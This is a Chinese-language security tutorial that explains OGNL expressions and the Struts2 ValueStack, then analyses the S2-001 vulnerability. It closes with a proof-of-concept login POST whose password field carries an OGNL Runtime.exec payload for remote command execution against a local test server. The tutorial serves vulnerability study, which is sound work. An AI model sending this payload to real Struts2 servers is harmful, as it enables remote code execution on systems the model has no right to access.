ognl与struts2漏洞的学习 – 作者:漏斗社区-安全小百科

Struts2这个框架每年都会出现那么几个漏洞，不得不引起斗哥学习的兴趣。本期将从Struts2的一个罪魁祸首ONGL表达式开始介绍到S2-001漏洞的分析。Struts2系列的漏洞涉及Java Web等相关内容，后续会持续更新漏洞分析以及相关知识背景介绍等。

0x00 什么是ognl

OGNL全称是对象视图导航语言（Object-Graph Navigation Language），它是一种功能强大的表达式语言，通过它简单一致的表达式语法，可以存取对象的任意属性，调用对象的方法，遍历整个对象的结构图，实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。

0x01 ognl的核心OgnlContext对象

OgnlContext对象是Ognl的核心，需要一个上下文环境。又分为两个部分，分别是Root对象和Context对象,Root对象所在的环境就是OGNL的上下文环境（Context）。上下文环境规定了OGNL的操作“在哪里进行”。上下文环境Context是一个MAP类型的对象，在表达式中访问Context的对象，需要使用#号加上对象名称，即#对象名称的形式。

比如我们有一个User对象： User.Java

public class User {

   private String name;

   private Integer age;

   public User() {

       super();

   }

   public User(String name, Integer age) {

       super();

       this.name = name;

       this.age = age;

   }

   public String getName() {

       return name;

   }

   public void setName(String name) {

       this.name = name;

   }

   public Integer getAge() {

       return age;

   }

   public void setAge(Integer age) {

       this.age = age;

   }

}

那针对User对象，Root的方式：

User rootUser = new User("tom",18);

Context的方式：

Map<String,User> context = new HashMap<String,User>();

context.put("user1",new User("jack",20));

context.put("user2",new User("rose",22));

创建OgnlContext对象：

OgnlContext oc = new OgnlContext();

oc.setRoot(rootUser);

oc.setValues(context);

取出root中User对象的name和age属性。这里可以使用getValue这个方法，其中第一个参数是就是OGNL表达式。

String name = (String) Ognl.getValue("name",oc,oc.getRoot());

Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot());

System.out.println(age);

System.out.println(name);

取出Context对象中的属性值，这里要加上#符号。

String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());

String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot());

Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot());

Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot());

System.out.println(name1);

System.out.println(name2);

System.out.println(age1);

System.out.println(age2);

为root中的User对象的name属性赋值。

Ognl.getValue("name='jerry'",oc,oc.getRoot());

String name = (String) Ognl.getValue("name",oc,oc.getRoot());

System.out.println(name);

为Context中的user1对象的name属性赋值。

Ognl.getValue("#user1.name='reborn'",oc,oc.getRoot());

String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot());

System.out.println(name1);

getValue用来提取OGNL表达式运行后的值。下面是getValue可以传递的值：

public static java.lang.Object getValue(java.lang.String expression,

                                           java.util.Map context,

                                           java.lang.Object root,

                                           java.lang.Class resultType)

                                    throws OgnlException

●java.lang.String expression 表达式

●java.util.Map context 上下文

●java.lang.Object root 表达式根对象

●java.lang.Class resultType 被转换的结果对象的类型

OGNL 的 API 设计得是很简单的，context 提供上下文，为变量和表达式的求值过程来提供命名空间，存储变量等，通过 root 来指定对象图遍历的初始变量，使用 expression 来告诉 Ognl 如何完成运算。

演示ognl如何访问对象的方法：

1.创建一个 OgnlContext对象，context

2.创建一个 obj 对象 obj。 obj 的值等于 Ognl.getValue的值。

3.Ognl.getValue有2个参数。 “‘helloworld’.length()”为表达式语句。

import ognl.Ognl;

import ognl.OgnlContext;

import ognl.OgnlException;

public class Ognltest {

   public static void main(String[] args) throws OgnlException {

       OgnlContext context = new OgnlContext();

       Object obj = Ognl.getValue("'helloworld'.length()",context);

       System.out.println(obj);

   }

}

●ognl可以支持对象方法调用如：

objName.methodName()

●ognl可以支持类的静态方法调用和值访问，表达式格式为：@[类全名(包括包路径)@[方法名|值名]],例如：调用java.lang.String类的format方法。

@java.lang.String@format('foo %s','bar')

0x02 ognl与Struts2的结合

1.ValueStack

Ognl表达式可以单独使用，它也被一些成熟的框架使用，如Struts2。在Struts2 中有个值栈对象即ValueStack。而说得通俗些，这个值栈就是OgnlContext。

而Ognl原有的root部分对应Struts2的栈，Context对应Struts2的ActionContext。

2.ValueStack特点

ValueStack贯穿整个Action的生命周期（每个Action类的对象实例都拥有一个ValueStack对象），即用户每次访问struts的action，都会创建一个Action对象、值栈对象、ActionContext对象，然后把Action对象放入值栈中；最后再把值栈对象放入request中，传入jsp页面。相当于一个数据的中转站，在其中保存当前Action对象和其他相关对象。Struts2框架把ValueStack对象保存在名为struts。valueStack的request请求属性中。

0x03 JSP页面中获取ValueStack数据

在jsp页面中，对不同ValueStack中的不同类型取值方法不同，如果是根元素取值，直接写表达式；非根元素(request，Session，application，att，parmeters)必须用#号，例#request.cn。

<%@taglib prefix="s" uri="/struts-tags" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<html>

 <head>

   <title>jsp页面取值</title>

 </head>

 <body>

index页面

<%--页面，必须要拿到ValueStack--%>

<%--struts的调试标签，可以观测值栈数据--%>

<s:debug/>

<br/>1.取根元素的值<br/>

 <s:property value="user.id"/>

 <s:property value="user.name"/>

<br/>2.取非根元素<br/>

 <s:property value="#request.cn"/>

 <s:property value="#request.request_data"/>

 <s:property value="#session.session_data"/>

 <s:property value="#application.application_data"/><br/>

<%--attr按顺序自动找request/session/application,找到后立刻返回--%>

 <s:property value="#attr.application_data"/>

<%--获取请求参数数据--%>

 <s:property value="#parameters.userName"/>

 </body>

</html>

0x04 Struts标签

Ognl表达式取值。使用方式是：

1.引入<%@taglib prefix=”s” uri=”/struts-tags” %>

2.使用标签获取取值，取值的时候要注意根元素（全局变量）不用#号，其他的都用#号。

0x05 ognl的命令执行

Java的命令执行可以借助java.lang.Runtime类的getRuntime方法。如下：Run.java

import java.io.IOException;

import static java.lang.Runtime.getRuntime;

public class Run {

   public static void main(String[] args) throws IOException {

       Process s = getRuntime().exec("calc");

   }

}

将上述代码按照@[类全名(包括包路径)@[方法名|值名]]书写表达式语句：

@java.lang.Runtime@getRuntime().exec('calc')

0x06 s2-001漏洞分析

该漏洞其实是因为用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。

这里的表单是用JSP写的，需要对JSP有所了解，还需要去了解一下Struts2标签库常用的几个标签，这里有个参考链接：Struts2标签库常用标签。

例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，这里重新填充动作是要有的，没有则不会触发漏洞。

LoginAction.class

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {

   private String username = null;

   private String password = null;

   public LoginAction() {

   }

   public String getUsername() {

       return this.username;

   }

   public String getPassword() {

       return this.password;

   }

   public void setUsername(String username) {

       this.username = username;

   }

   public void setPassword(String password) {

       this.password = password;

   }

   public String execute() throws Exception {

       if (!this.username.isEmpty() && !this.password.isEmpty()) {

           return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";

       } else {

           return "error";

       }

   }

}

这段代码的意思是，接收发往/login.action的用户名和密码，如果两者不为admin,则返回error。

而查看struts.xml文件，发现返回error则跳转到index.jsp文件。

<package name="S2-001" extends="struts-default">

 <action name="login" class="com.demo.action.LoginAction">

   <result name="success">/welcome.jsp</result>

   <result name="error">/index.jsp</result>

 </action>

</package>

而index.jsp有表单如下：

<s:form action="login">

   <s:textfield name="username" label="username" />

   <s:textfield name="password" label="password" />

   <s:submit></s:submit>

</s:form>

最终我们构造请求如下，触发漏洞。

[post]

[http://127.0.0.1:8080/login.action](http://127.0.0.1:8080/login.action)

[data]

username=xxx&password=%25{%40java.lang.Runtime%40getRuntime().exec("calc")}

来源：freebuf.com 2018-08-22 10:07:07 by: 漏斗社区

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THE END